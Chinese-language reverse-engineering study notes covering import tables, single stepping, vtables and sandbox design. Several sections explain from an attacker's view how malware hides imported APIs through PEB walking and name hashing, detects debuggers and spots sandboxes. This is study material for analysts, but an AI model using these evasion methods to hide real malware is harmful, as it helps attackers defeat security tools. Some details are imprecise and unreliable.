这是最常见、最实用的方法。当程序调用一个导入函数时,通常会使用 CALL 指令,其目标地址就是导入表中的一个条目

具体步骤:

  1. 调试器附加: 使用调试器(如 OllyDbg、x64dbg、IDA Pro Debugger)附加到目标进程
  2. 设置断点: 在程序执行的早期,比如 main 函数或 WinMain 函数的入口点设置断点
  3. 单步调试/跟踪: 逐步执行(Step Over)程序,并密切关注 CALL 指令
  4. 识别导入调用:
    • 相对 CALL: 如果你看到 CALL [地址] 这样的指令,并且这个地址是一个外部函数的地址,那么这个 [地址] 就是一个导入表项。例如,CALL DWORD PTR [EAX]
    • 直接 CALL: 如果你看到 CALL MessageBoxA,这通常是 IDA Pro 这样的反汇编器帮你标记的,它已经识别出这个调用指向了一个导入函数
  5. 内存转储和分析: 当你找到一个导入表项的地址后,你可以从这个地址开始,向前和向后扫描内存,寻找连续的、看起来像函数指针的地址序列。这个序列很可能就是完整的导入表。然后你可以将这一块内存转储出来进行进一步分析

这种方法需要对汇编语言有深入理解,并且需要耐心和细致的调试

方法三:利用内存断点和内存扫描

当程序加载时,加载器会向导入表写入外部函数的真实地址。我们可以利用这个特性

具体步骤:

  1. 调试器附加: 附加到目标进程
  2. 查找 IMAGE_IMPORT_DESCRIPTOR 使用静态分析工具(如 PE Explorer、CFF Explorer)找到 PE 文件中导入表的 RVA (Relative Virtual Address)
  3. 计算内存地址:RVA 加上基址(ImageBase)得到导入表在内存中的实际地址
  4. 设置硬件断点: 在导入表的第一个条目上设置一个硬件写入断点(Hardware Write Breakpoint)
  5. 运行程序: 运行程序。当加载器填充导入表时,断点会被触发。这通常发生在 LoadLibrary 函数调用之后,但在 main 函数之前
  6. 分析内存: 断点触发后,你就可以检查内存中的导入表,它的内容已经被加载器填充好了。如果程序进行了脱壳,此时的导入表才是真实的

另一种高级变体是:

  • 在程序执行早期,在整个 .text 段(代码段)设置一个硬件写入断点。当断点触发时,检查写入的地址是否在代码段内部,并分析写入的指令。这可以用来检测自修改代码,是更高级的逆向技术

如何不在编码时直接导入相关 API 的前提下进行攻击

从攻击者的角度来看,不在编码时直接导入相关 API 是一个核心的规避手段。这种技术通常被称为动态 API 调用运行时 API 解析,其主要目的是:

  1. 绕过签名检测: 传统的杀毒软件和安全工具会扫描可执行文件中的导入表。如果导入表里有 CreateRemoteThreadWriteProcessMemoryLoadLibrary 等高危函数,文件就会被标记为可疑。动态调用 API 可以让导入表看起来非常“干净”,从而躲过静态扫描
  2. 增加逆向分析难度: 逆向工程师通常会从导入表入手,快速了解程序的功能。如果导入表是空的或只导入了少数几个基础函数,逆向分析师就必须花费大量时间去跟踪程序的运行时行为,才能发现其真正意图
  3. 支持多操作系统版本和架构: 有些 API 的地址在不同版本的 Windows 上可能会有细微差异。动态获取 API 地址可以确保代码在不同系统上都能正确运行,提高攻击的通用性
  4. 按需加载: 只有在需要执行特定恶意行为时才去获取和调用相应的 API,这可以减少不必要的代码和数据,使恶意程序更小、更精简

下面是几种具体的技术实现,从初级到高级:

1. 使用 LoadLibraryGetProcAddress

这是最基础、最常见的方法。攻击者只需要在代码中静态导入 LoadLibraryA/WGetProcAddress 这两个函数,然后用它们来动态获取所有其他需要的 API

实现步骤:

  1. 加载 DLL: 调用 LoadLibraryA,传入需要加载的 DLL 名称(例如 “kernel32.dll”)。这个函数会返回该 DLL 在内存中的基址
  2. 获取函数地址: 调用 GetProcAddress,传入 DLL 的基址和需要获取的函数名称(例如 “CreateRemoteThread”)。这个函数会返回该 API 的内存地址
  3. 函数指针调用: 将获取到的地址赋值给一个函数指针,然后通过这个指针像调用普通函数一样来调用它
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 伪代码
#include <windows.h>
#include <stdio.h>

int main() {
HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
if (hKernel32 == NULL) {
// 处理错误
return 1;
}

// 定义一个函数指针类型
typedef HANDLE (WINAPI* CreateRemoteThread_t)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);

// 获取 CreateRemoteThread 的地址
CreateRemoteThread_t pCreateRemoteThread = (CreateRemoteThread_t)GetProcAddress(hKernel32, "CreateRemoteThread");
if (pCreateRemoteThread == NULL) {
// 处理错误
return 1;
}

// 现在可以使用 pCreateRemoteThread 来调用 CreateRemoteThread 函数了
// pCreateRemoteThread(..., ..., ...);

return 0;
}

这种方法虽然简单,但 LoadLibraryGetProcAddress 依然会出现在程序的导入表中,因此安全软件仍然可以进行识别

2. 手动解析 PEB

这是更高级、更隐蔽的方法。其核心是完全不依赖任何静态导入,通过手动遍历内存中的数据结构来找到所需的 API 地址

实现步骤:

  1. 获取 PEB 地址: 在 32 位系统上,PEB 的地址可以通过 FS:[0x30] 寄存器来获取;在 64 位系统上,可以通过 GS:[0x60] 来获取
  2. 遍历 PEB LDR 数据结构: PEB 结构体中包含一个指向已加载模块列表的指针(LDR_DATA)。攻击者可以遍历这个列表,找到 ntdll.dllkernel32.dll 等已加载的 DLL 模块
  3. 解析 DLL 的导出表(EAT): 找到目标 DLL 的基址后,手动解析其导出地址表 (EAT)。EAT 是一个包含所有导出函数名称和地址的结构
  4. 哈希值匹配: 为了避免在代码中硬编码函数名称字符串(字符串会暴露恶意意图),攻击者通常会为每个函数名称计算一个哈希值。遍历 EAT 中的函数名称,计算哈希值,然后与预设的目标哈希值进行匹配。如果匹配成功,就找到了所需 API 的地址
  5. 函数指针调用: 获取到地址后,同样通过函数指针进行调用

Windows 下有哪些常用的反调试技术

1. 基于 Windows API 的反调试

这是最常见、最容易实现的反调试技术,利用 Windows 系统提供的特定函数来查询进程状态

  • IsDebuggerPresent 这是最直接、最经典的 API。它位于 kernel32.dll 中,会检查 进程环境块 (PEB) 中的 IsDebugged 标志位。如果该位被设置为 1,函数就返回 TRUE。攻击者只需要简单地调用这个函数,然后根据返回值决定是否执行恶意代码
  • CheckRemoteDebuggerPresent 这个 API 用来检查另一个进程是否正在被调试。它通常用于一个父进程检查其子进程是否被调试。攻击者可以启动一个子进程,然后父进程不断调用此 API 来监视子进程的状态
  • OutputDebugString 这个函数原本用于向调试器输出调试信息。如果程序在没有调试器附加的情况下调用此函数,并随后调用 GetLastError,返回的错误码通常是 ERROR_NOT_ENOUGH_MEMORY0x08)。如果返回其他值,则很可能存在调试器
  • NtQueryInformationProcess 这是一个更底层的、功能强大的未公开(undocumented)API。通过查询 ProcessDebugPortProcessDebugObjectProcessDebugFlags 等信息,可以精确地判断程序是否被调试。这是许多高级反调试技术的基石,因为不像 IsDebuggerPresent,它更难被简单地 Hook 或篡改

2. 基于异常和 SEH(结构化异常处理) 的反调试

调试器在处理异常时与正常程序有不同的行为,这为反调试提供了可乘之机

  • INT 3 断点: 调试器通常通过 INT 3 (opcode 0xCC) 指令来设置软件断点。攻击者可以在代码中故意插入一个 INT 3 指令,并设置自己的异常处理器。如果程序在执行 INT 3 后进入了预设的异常处理器,说明没有调试器存在(因为调试器会捕获 INT 3 并暂停程序)。如果程序没有进入异常处理器,就说明有调试器存在
  • Trap Flag (TF) 检测: 当调试器设置了硬件断点或启用单步执行时,CPU 的 EFLAGS 寄存器中的 Trap Flag 会被设置。攻击者可以通过内联汇编代码来检查这个标志位,判断是否正在进行单步调试
  • 利用 VEH(向量化异常处理): VEH 是比 SEH 更早被调用的异常处理机制。攻击者可以在 VEH 中设置反调试逻辑,因为它更难被调试器忽略或绕过

3. 基于时间差和指令计数的反调试

调试器在执行单步调试或设置断点时,会引入额外的延迟。正常程序可以利用这个时间差来检测调试器的存在

  • RDTSC (Read Time-Stamp Counter): 这是一个 CPU 指令,用于读取 CPU 的时间戳计数器。攻击者可以在代码中的两个点调用 RDTSC,并计算两次调用之间的时间差。如果这个时间差异常地长,很可能是因为调试器在单步执行或处理断点
  • QueryPerformanceCounter 这是一个高精度的 Windows API。与 RDTSC 类似,攻击者可以调用两次这个 API 并计算时间差。如果时间差超过一个阈值,则认为存在调试器
  • 线程休眠检测: 当程序进入休眠状态时,调试器通常会唤醒它以便继续执行。攻击者可以调用 Sleep() 函数,然后检查实际休眠的时间是否与期望的时间相符。如果实际休眠时间比期望的短,说明调试器可能干预了线程的运行

4. 基于进程和线程状态的反调试

调试器通常会改变被调试进程或线程的某些状态

  • 父进程检测: 正常程序通常由 explorer.execmd.exe 等合法进程启动。而调试器会成为被调试进程的父进程。攻击者可以调用 NtQueryInformationProcessCreateToolhelp32Snapshot 等 API,检查父进程 ID (PPID) 是否是已知的调试器进程 ID,或者干脆检查 PPID 是否不等于 explorer.exePPID
  • 线程上下文检测: 调试器会修改被调试线程的寄存器和线程上下文。攻击者可以检查 TEB (Thread Environment Block) 中与调试相关的字段,或者检查线程的上下文信息是否被篡改

5. 其他高级反调试技术

  • 调试器检测点: 在代码中故意创建多个 INT 3 断点或 CALL 调试 API 的分支,但让程序在没有调试器的情况下跳过这些分支。当调试器附加时,这些分支被执行,从而暴露调试器的存在
  • 自修改代码: 在程序运行时修改自己的代码,例如用 NOP 指令覆盖反调试代码,或用 jmp 指令跳转到真正的逻辑代码。调试器很难追踪和分析这种行为,因为其静态分析视图与运行时视图不符
  • 反汇编器检测: 有些技术不仅针对调试器,还针对 IDA Pro 等反汇编工具。例如,在代码中插入一些特殊指令序列,这些序列在 CPU 上执行正常,但在反汇编器中会被错误地解析,导致代码流被混淆

单步执行的原理是什么

1. 陷阱标志

在 x86 架构的 CPU 中,有一个特殊的寄存器叫做 EFLAGS(在 64 位系统中是 RFLAGS)。这个寄存器中的每一位都代表一个特定的状态或控制标志。其中的第 8 位就是陷阱标志(TF)

  • 当 TF=0 时:CPU 正常执行指令,不会触发单步中断
  • 当 TF=1 时:这是单步执行的关键。CPU 在执行完一条指令后,会自动产生一个 INT 1 异常(也就是单步中断

2. 单步执行的原理流程

当你在调试器中点击“单步”按钮时,幕后会发生以下几个步骤:

  1. 调试器设置 TF 标志位: 调试器通过系统调用或直接操作,将 EFLAGS 寄存器中的 TF 位设置为 1
  2. CPU 执行下一条指令: CPU 继续正常执行程序代码中的下一条指令
  3. CPU 产生 INT 1 异常: 在这条指令执行完毕后,CPU 检查到 TF 标志位为 1,于是自动停止正常的程序执行流程,并产生一个 INT 1 异常
  4. 操作系统捕获异常: 操作系统有一个专门的中断描述符表(IDT)。当 INT 1 异常发生时,操作系统会根据 IDT 中预先设置好的入口点,将控制权交给处理 INT 1 异常的程序
  5. 调试器接管控制权: 由于调试器是操作系统中管理被调试进程的组件,它会事先向操作系统注册一个异常处理函数。因此,当 INT 1 异常发生时,控制权实际上被交给了调试器
  6. 调试器暂停程序: 调试器在接管控制权后,会暂停被调试程序的执行,并显示当前的程序状态(寄存器值、内存数据等)
  7. 等待用户操作: 此时,程序在调试器中处于暂停状态,等待你进行下一步操作,比如再次单步、查看变量或继续运行

如果你再次点击“单步”,这个循环会重新开始:调试器再次设置 TF,程序执行一条指令,然后控制权再次回到调试器

3. 特殊情况:INT 3 断点

除了利用 TF 标志位,调试器还有一个常用的单步执行辅助手段,那就是**INT 3 指令**

  • 当你在某行代码上设置了一个断点(Breakpoint)时,调试器会偷偷地将该行代码的第一个字节替换成 0xCC
  • 0xCC 对应的汇编指令就是 INT 3
  • 当程序执行到这个位置时,CPU会像处理单步中断一样,产生一个 INT 3 异常
  • 操作系统将控制权交给调试器,程序暂停,从而实现了“断点”的功能

所以,当调试器在一个断点处暂停后,你点击单步,调试器会先0xCC 恢复为原来的指令,然后设置 TF 标志位,让程序执行那条被恢复的指令,最后在指令执行完毕后,再次设置 0xCC,等待下一次的断点触发


在内存中已 Load 的程序如何快速找到其具有执行权限的段

方法一:利用操作系统 API

这是最常用、最稳定的方法。Windows 提供了强大的内存查询 API,可以快速遍历和检查一个进程的内存空间

  1. VirtualQueryEx 函数: 这是最核心的 API。通过循环调用 VirtualQueryEx,你可以遍历整个进程的虚拟地址空间。这个函数会填充一个 MEMORY_BASIC_INFORMATION 结构体,其中包含了每个内存页面的信息,例如:
    • BaseAddress:内存区域的起始地址
    • RegionSize:内存区域的大小
    • State:内存区域的状态(如已提交 MEM_COMMIT
    • Protect:最重要的字段,描述内存区域的保护权限
  2. 检查 Protect 字段: Protect 字段是一个位掩码,你需要检查它是否包含代表可执行的标志。常见的可执行权限标志有:
    • PAGE_EXECUTE
    • PAGE_EXECUTE_READ
    • PAGE_EXECUTE_READWRITE
    • PAGE_EXECUTE_WRITECOPY

示例代码(伪C++):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <windows.h>
#include <iostream>

void FindExecutableRegions(HANDLE hProcess) {
MEMORY_BASIC_INFORMATION mbi;
LPVOID pBaseAddress = nullptr;

while (VirtualQueryEx(hProcess, pBaseAddress, &mbi, sizeof(mbi)) == sizeof(mbi)) {
// 检查内存状态,确保它已提交并有可执行权限
if (mbi.State == MEM_COMMIT &&
(mbi.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY))) {

// 找到了一个可执行的区域
std::cout << "Executable region found at: " << std::hex << mbi.BaseAddress
<< ", Size: " << mbi.RegionSize << " bytes" << std::endl;
}

// 移动到下一个内存区域
pBaseAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
}
}

int main() {
// 假设你已经获取了目标进程的句柄
// HANDLE hTargetProcess = OpenProcess(...);
// FindExecutableRegions(hTargetProcess);
return 0;
}

方法二:利用 PEB(进程环境块)和 PE 结构

对于已加载的 PE 文件,你可以直接解析其在内存中的结构来找到可执行段。这通常比遍历所有内存区域更快,但只适用于目标是主模块或已知的 DLL

  1. 定位 PEB:
    • 32 位:通过 FS:[0x30] 寄存器获取
    • 64 位:通过 GS:[0x60] 寄存器获取
  2. 获取 ImageBase: 从 PEB 中找到 ImageBase 字段,它存储了主模块在内存中的基址
  3. 解析 PE 头部:
    • ImageBase 开始,找到 e_lfanew 字段,它指向 NT 头部(NT Header)
    • 在 NT 头部中,找到可选头部(Optional Header)
    • 在可选头部中,找到**节表(Section Table)**的偏移
  4. 遍历节表:
    • 节表是一个 IMAGE_SECTION_HEADER 结构体数组
    • 遍历这个数组,检查每个节的**特征(Characteristics)**字段
    • 寻找 IMAGE_SCN_MEM_EXECUTE 标志。如果这个标志被设置,那么这个节就是可执行的
  5. 计算地址: 找到可执行的节后,其在内存中的实际地址是 ImageBase + VirtualAddress

方法三:利用调试器或反汇编器

如果你在使用调试器(如 x64dbg 或 IDA Pro)或反汇编器(如 Ghidra),这个过程会变得非常直观

  • x64dbg:
    • 打开内存视图(Memory Map),通常是快捷键 Alt+M
    • 在这里,你会看到所有已加载的模块和内存区域的列表
    • 列表会清楚地显示每个区域的权限(RWX),你可以直接找到所有带有 X 标志的区域
  • IDA Pro / Ghidra:
    • 这些工具会自动解析 PE 文件并显示其所有节
    • 你可以进入“段”(Segments)或“内存区域”(Memory Regions)视图
    • 视图中会明确标记每个段的权限,通常.text 段会显示为 EXECUTE 权限
方法 优点 缺点 适用场景
API调用 最通用、最稳定。能找到所有可执行内存区域,包括非PE结构(如JIT编译的代码) 需要编写代码。性能相对较低,需要遍历整个虚拟内存空间 动态分析、恶意软件分析、注入器等
PE结构解析 速度快,精确。能快速定位.text段和其它可执行的PE节 只能用于已加载的PE文件。如果程序有自解压或自修改行为,可能会失效 静态分析,当你知道目标是合法的PE文件时
调试器/反汇编器 最直观、最简单。提供可视化的界面,无需编写代码 依赖于外部工具。无法自动化(除非通过脚本) 交互式调试、快速逆向工程

恶意软件有哪些方案检测自己处于沙箱中

1. 基于环境特征的检测

沙箱为了快速分析大量样本,通常会使用标准化的、不完整的系统配置。恶意软件可以利用这些不寻常的特征来判断自己是否被分析

  • 硬件特征
    • CPU 指令:通过 cpuid 指令查询 CPU 供应商字符串。虚拟机通常会返回 VMwareVMware, KVMKVMKVMMicrosoft Hv 等特殊字符串,而真实的物理机则会返回 GenuineIntelAuthenticAMD
    • MAC 地址:检查网卡(MAC)地址。某些虚拟化厂商的 MAC 地址范围是公开的,例如 VMware 的 MAC 地址通常以 00-50-56 开头
    • 内存大小:沙箱为了节省资源,通常会分配较少的内存(例如 1GB 或 2GB)。恶意软件可以查询系统内存大小,如果远低于正常桌面系统的配置,就可能怀疑自己处于沙箱中
  • 文件系统和注册表
    • 特定文件:检查是否存在某些虚拟化工具或分析工具的特定文件,例如 C:\windows\System32\Drivers\VBoxGuest.sys (VirtualBox) 或 C:\Program Files\VMware\VMware Tools\vmtoolsd.exe (VMware Tools)
    • 注册表项:查询与虚拟化相关的注册表键值,例如 HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier,其值可能会包含 VBOXVMware 等字符串

2. 基于行为和用户交互的检测

正常的桌面环境会有频繁的用户活动,而沙箱通常是自动化运行的,缺乏这些活动

  • 用户活动检测
    • 鼠标移动:检查鼠标自启动以来的移动距离。如果鼠标几乎没有移动,可能表明没有真实用户在操作
    • 窗口数量:查询桌面上的窗口数量。沙箱通常只运行一个应用程序,所以窗口数量可能很少
    • 键盘输入:监控键盘输入事件。如果长时间没有按键操作,也可能是沙箱
    • 屏幕分辨率:沙箱环境通常使用一个固定的、非标准的分辨率
  • 执行时间检测
    • 延迟执行:恶意软件会在运行初期休眠一段较长的时间(例如几分钟或几小时)。沙箱通常只运行几十秒到几分钟,无法捕捉到后续的恶意行为
    • 时间戳:检查系统启动时间,或使用 Sleep 函数,然后比较前后两次获取系统时间的时间差。如果时间差比预期的短得多(因为沙箱可能通过加快时钟来加速分析),就表明处于虚拟化环境

3. 基于进程和文件分析工具的检测

沙箱环境通常会运行一些监控工具,这些工具的进程或文件名可能暴露它的身份

  • 进程列表:遍历运行中的进程列表,查找常见的分析工具进程名,例如:
    • procmon.exe (Process Monitor)
    • wireshark.exe (Wireshark)
    • Fiddler.exe
    • idaq64.exe (IDA Pro)
  • 文件名:恶意软件可以检查自身的可执行文件名。一些自动化分析系统会把样本重命名为固定的、可预测的名字,例如 sample.exemalware.exe

4. 基于硬件和底层代码的检测

这是更高级的反沙箱技术,直接利用虚拟机和物理机底层实现的差异

  • 指令时序分析:某些 CPU 指令在虚拟机中执行所需的时间与在物理机上不同。恶意软件可以执行这些特定指令,然后测量其执行时间,通过比较时间差来判断
  • 中断描述符表(IDT)检测:虚拟机管理程序(Hypervisor)通常会修改 IDT 以拦截某些特权指令。恶意软件可以检查 IDT 的地址或内容,寻找被篡改的迹象
  • 内存布局:检查内存布局,如某些特殊的地址或结构,它们在虚拟机中可能会有独特的模式

做一个反汇编器,指令集 opcode 的意义去哪查

主流 CPU 架构的指令集手册

根据你要反汇编的 CPU 架构,你需要查阅不同的手册:

1. x86 / x64 架构 (Intel / AMD)

这是最常见的桌面和服务器架构,也是大多数恶意软件和 Windows/Linux 程序所使用的架构

  • Intel 64 和 IA-32 架构软件开发人员手册: 这是 x86 / x64 架构的黄金标准。它包含好几卷,其中:
    • 卷 2A、2B 和 2C:详细描述了每条指令的 操作码(Opcode)汇编助记符(Mnemonic)操作数(Operands)、以及指令功能
  • AMD 64 架构程序员参考手册: 如果你需要支持 AMD 的处理器,这套手册是必不可少的。它与 Intel 的手册内容高度兼容,但也有一些 AMD 特有的指令

2. ARM 架构

ARM 架构主导着移动设备(手机、平板)和嵌入式系统,现在也越来越多地用于服务器和桌面

  • ARM 架构参考手册: 这是 ARM 架构的官方文档。它详细介绍了 ARM 和 Thumb 指令集,以及各种架构特性,如 AArch64、AArch32 等

3. MIPS 架构

MIPS 在早期的嵌入式设备、路由器和游戏机(如 PS2)中非常流行

  • MIPS32/MIPS64 架构参考手册:这是 MIPS 架构的官方手册,提供了所有指令的详细信息

怎么识别指令跳转条件和内存访问

如何识别指令跳转条件

在汇编语言中,跳转指令分为无条件跳转有条件跳转

1. 无条件跳转

这是最简单的一种。它们总是会改变程序的执行流程

  • 指令jmp (Jump)
  • 识别方法:在反汇编代码中,jmp 指令后面通常跟着一个目标地址。它像一个程序里的 goto 语句,直接将控制权转移到另一个位置,没有其他条件

2. 有条件跳转

这些跳转指令依赖于 CPU 的**标志寄存器(Flags Register)**的状态。标志寄存器中的位(如零标志、符号标志、进位标志等)在执行算术或比较指令后会被设置

  • 指令:有条件跳转指令通常以字母 j 开头,后面跟着一个或两个字母来表示其条件
    • je (Jump if Equal):如果零标志(ZF)为1,则跳转。通常跟在 cmptest 指令之后,用于判断两个值是否相等
    • jne (Jump if Not Equal):如果零标志(ZF)为0,则跳转
    • jg (Jump if Greater):如果大于则跳转(有符号)
    • jl (Jump if Less):如果小于则跳转(有符号)
    • ja (Jump if Above):如果大于则跳转(无符号)
    • jb (Jump if Below):如果小于则跳转(无符号)
  • 识别方法
    1. 寻找前置指令:有条件跳转指令通常紧跟在**比较(cmp测试(test)**指令之后
    2. 分析标志位cmp 指令会执行一次减法操作,但不保存结果,只根据结果设置标志位。test 指令会执行一次逻辑与操作,也不保存结果,同样只设置标志位
    3. 理解逻辑:当看到 cmp eax, ebx 后跟着 je 时,它的逻辑就等同于 C 语言的 if (eax == ebx)

如何识别内存访问

内存访问涉及程序从内存中读或写数据。在汇编代码中,这通常通过方括号 [] 来表示

1. 直接内存访问

这是最直接的方式,通常是访问全局变量或特定地址

  • 格式mov eax, [0x401000]
  • 识别方法:指令的操作数直接是一个十六进制地址,且用方括号包围。这表示从这个地址读取数据。例如,mov eax, [0x401000] 的意思是把内存地址 0x401000 处的值加载到 eax 寄存器

2. 间接内存访问

间接访问更为常见,它通过寄存器中存储的地址来访问内存

  • 格式mov eax, [ebx]
  • 识别方法:方括号中是一个寄存器。这表示程序从寄存器 ebx 中存储的地址读取数据。这在访问指针、数组元素或动态分配的内存时非常常见

3. 相对内存访问

这种方式结合了基址寄存器和偏移量

  • 格式mov eax, [ebx + 8]
  • 识别方法:方括号中包含一个基址寄存器(如 ebx)和一个数字偏移量。这通常用于访问结构体成员或栈上的局部变量。例如,mov eax, [ebp-4] 是一种非常常见的模式,它表示访问栈上栈帧基址ebp)向下偏移 4 字节处的局部变量

4. 复杂内存访问

更复杂的访问模式包括索引寄存器和比例因子,通常用于访问数组

  • 格式mov eax, [ebx + esi * 4]
  • 识别方法:这表示一个数组访问,ebx 是数组的基地址,esi 是索引,4 是每个元素的大小(例如,一个 int 占 4 字节)。这等同于 C 语言的 eax = array[esi]

做一个沙箱,有什么需要重定向的

1. 文件系统

这是最基本的重定向。一个恶意程序通常会读写文件、创建新文件或删除现有文件。你必须让它以为自己在操作真实的文件系统,但实际上,所有这些操作都被隔离在一个虚拟的、临时的环境中

  • 重定向读写操作
    • 拦截 open, read, write, close 等系统调用
    • 将所有对宿主机文件的访问重定向到沙箱内部的虚拟文件系统或一个特定的临时文件夹
    • 如果程序试图访问关键系统文件(如 C:\Windows\System32),应拒绝其请求或返回一个虚拟的、无害的版本

2. 注册表

在 Windows 环境下,注册表是恶意软件进行持久化和存储配置的关键

  • 重定向注册表操作
    • 拦截 RegCreateKey, RegSetValue, RegOpenKey 等注册表 API 调用
    • 将所有写入操作重定向到沙箱内存中的一个虚拟注册表
    • 当程序读取注册表时,先从虚拟注册表中查找,如果不存在,再从宿主机注册表读取,但绝不允许它修改宿主机注册表

3. 网络通信

恶意软件的另一大特征就是与外部服务器进行通信,例如下载其他恶意模块、发送窃取的数据或接收指令

  • 重定向网络连接
    • 拦截 socket, connect, send, recv 等网络系统调用
    • 你可以选择将所有网络连接完全禁止,或者将它们重定向到一个本地代理,由代理来记录和控制所有流量
    • 理想的沙箱会伪造 DNS 解析,将恶意域名指向一个本地 IP,然后让代理服务器来处理这些连接,从而捕获所有网络数据包,而不让它们真正离开宿主机

4. 进程与线程

许多恶意软件会创建新进程、注入代码或修改其他进程的内存以隐藏自身

  • 重定向进程操作
    • 拦截 CreateProcess, CreateThread, InjectProcess, WriteProcessMemory 等 API 调用
    • 沙箱应监控所有新创建的进程,确保它们也运行在受控环境中。
    • 对于进程注入,你可以直接拒绝这类行为,或者将其重定向到一个虚拟的环境,以防止对宿主机上其他进程的感染

5. 系统信息

为了躲避沙箱,恶意软件会查询系统信息来判断自己是否被监控。你需要对这些查询进行欺骗

  • 重定向系统信息查询
    • 拦截 cpuid, GetSystemInfo 等 API 调用
    • 当恶意程序查询 CPU 制造商、内存大小或系统时间等信息时,你需要返回虚假的值,让它以为自己在一个真实的物理机环境中。比如,将 VMware 制造商字符串替换为 GenuineIntel,或者让系统时间流逝得更慢

6. 渲染与屏幕

某些恶意软件可能会尝试截屏或与桌面环境交互

  • 重定向屏幕操作

    • 拦截 GetDC, BitBlt 等与屏幕渲染相关的 API
    • 你可以将截屏数据重定向到沙箱的临时文件,而不是让它访问真实的桌面内容

    Linux 程序分为哪几个段

1. 代码段

代码段也叫文本段,存储的是程序的可执行机器码。它通常是只读的,这样可以防止程序意外地修改自身的指令,从而增强了程序的健壮性。由于代码段是只读的,当有多个进程执行同一个程序时(比如多个用户同时运行 ls 命令),它们可以共享同一个代码段,从而节省内存

2. 数据段

数据段主要用于存储已初始化的全局变量和静态变量。这个段在程序加载到内存时就被分配,并在程序运行期间一直存在。它的内容是可读写的,允许程序修改这些变量的值

例如,在 C 语言中:

1
2
int global_var = 10; // 存储在数据段
static int static_var = 20; // 存储在数据段

3. 未初始化数据段

BSS(Block Started by Symbol)段用于存储未初始化的全局变量和静态变量。与数据段不同,这个段在程序加载时并不会占用实际的磁盘空间。操作系统会在程序加载时为其分配内存,并自动将所有值初始化为零。这样做可以节省可执行文件的大小

例如,在 C 语言中:

1
2
int uninitialized_global; // 存储在 BSS 段
static int uninitialized_static; // 存储在 BSS 段

4. 堆段

堆段用于动态内存分配。当程序在运行时需要额外内存时(例如,使用 C 语言中的 malloc() 或 C++ 中的 new),这些内存就会在堆上分配。堆是自下而上增长的,通常由低地址向高地址扩展。程序的生命周期中,堆的大小是可变的

5. 栈段

栈段用于存储局部变量、函数参数和返回地址。它是一种后进先出(LIFO)的数据结构。每次调用函数时,新的栈帧(stack frame)就会被推入栈中,包含了该函数的局部变量和参数。函数调用结束后,该栈帧就会被弹出。栈段是自上而下增长的,通常由高地址向低地址扩展

6. 命令行参数和环境变量段

这个段通常位于栈段的上方,用于存储传递给程序的命令行参数和环境变量。例如,当你在终端运行 ls -l 时,-l 这个参数就会被存储在这个段中


ESP 定律原理知道吗

ESP 定律的原理

ESP 定律的核心思想是:在正常的函数调用和返回过程中,栈指针(ESP 在 32 位系统,RSP 在 64 位系统)在进入函数时和离开函数时是相等的

或者更准确地说,call 指令在将返回地址压入栈后,会将 ESP 减小。当函数返回(通过 ret 指令)时,ret 指令会弹出返回地址,并自动调整 ESP,使其回到 call 指令执行之前的状态

ESP 定律的两个核心结论:

  1. 在函数内部,只要没有发生新的函数调用或异常,pushpop 指令的操作是对称的。也就是说,每一个 push 都有一个对应的 pop,所以 ESP 的最终变化是零
  2. 在函数返回时,ret 指令会正确地将控制权返回给调用方,其前提是函数执行完毕时 ESP 寄存器的值正好指向 call 指令压入的返回地址

如果一个函数在返回时,ESP 的值不是返回地址,那么 ret 指令会从一个错误的位置取地址,导致程序崩溃或跳转到不可预知的地址


C++ 程序怎么去逆向找虚表

虚表(vtable)的编译后形态

在 C++ 中,当一个类包含虚函数时,编译器会做两件事:

  1. 为该类生成一个虚表。这个虚表本质上是一个函数指针数组。数组中的每个元素都指向该类中一个虚函数的实际地址
  2. 为该类的每个对象(实例)在内存布局的开头添加一个隐藏的虚表指针(vptr)。这个指针指向该类的虚表

因此,逆向寻找虚表的过程,就是找到这个隐藏的 vptr,并顺藤摸瓜找到它指向的虚表

逆向寻找虚表的三种主要方法

方法一:寻找虚表指针(vptr)的初始化

这是最直接也最常用的方法。虚表指针通常在对象的构造函数中被初始化

  1. 定位构造函数:在 C++ 程序中,当你使用 new 关键字创建一个对象时,编译器会调用该类的构造函数。在反汇编代码中,你会看到对 new 操作的封装,然后是对构造函数的调用
  2. 查找虚表指针的赋值:在构造函数的开头,通常会有类似 mov [ecx], offset class_vtablemov [this], offset class_vtable 的指令(取决于调用约定和寄存器)
    • this 指针(通常在 ecxrcx 寄存器中)指向新创建的对象
    • offset class_vtable 是虚表的地址,这是一个常量,通常由链接器确定
    • 这条指令的含义是:将虚表的地址存入对象的第一个成员变量中,这个变量就是 vptr
  3. 识别虚表:一旦你找到了虚表的地址,你就可以跳转到这个地址,IDA Pro 或 Ghidra 通常会将其识别为数据段中的一个指针数组

方法二:从虚函数的调用处反推

如果你无法直接找到构造函数,可以从虚函数的调用点入手。虚函数的调用通常是通过 vptr 进行的间接调用

  1. 识别间接调用:寻找类似 call [eax+offset]call [vptr] 的指令
    • eax 通常包含 this 指针,指向对象实例
    • offset 是一个数字,通常是 vptr 在对象内存布局中的偏移量(在单继承情况下通常是 0
    • 这条指令的含义是:从 eax 指向的内存位置(即 vptr)获取一个地址,然后再加上一个偏移量,最终跳转到那个地址执行代码
  2. 分析偏移量:通过观察偏移量,你可以判断这是虚表中的第几个虚函数。例如,call [eax+8] 意味着调用虚表中的第二个函数(因为每个函数指针通常是 4 或 8 字节)
  3. 反推虚表:找到 vptr 的地址,然后跳转到该地址。你可以向上或向下遍历这个指针数组,来识别其他的虚函数

方法三:利用 IDA Pro 的自动化识别功能

IDA Pro 和 Ghidra 这样的高级反汇编器拥有强大的自动化分析能力,可以极大地简化寻找虚表的过程

  1. 启用 C++ RTTI 分析:在 IDA 的 Options -> General -> IDA 窗口中,确保 C++ 的RTTI (Run-Time Type Information) 分析选项已启用。这能帮助 IDA 识别类和虚表结构
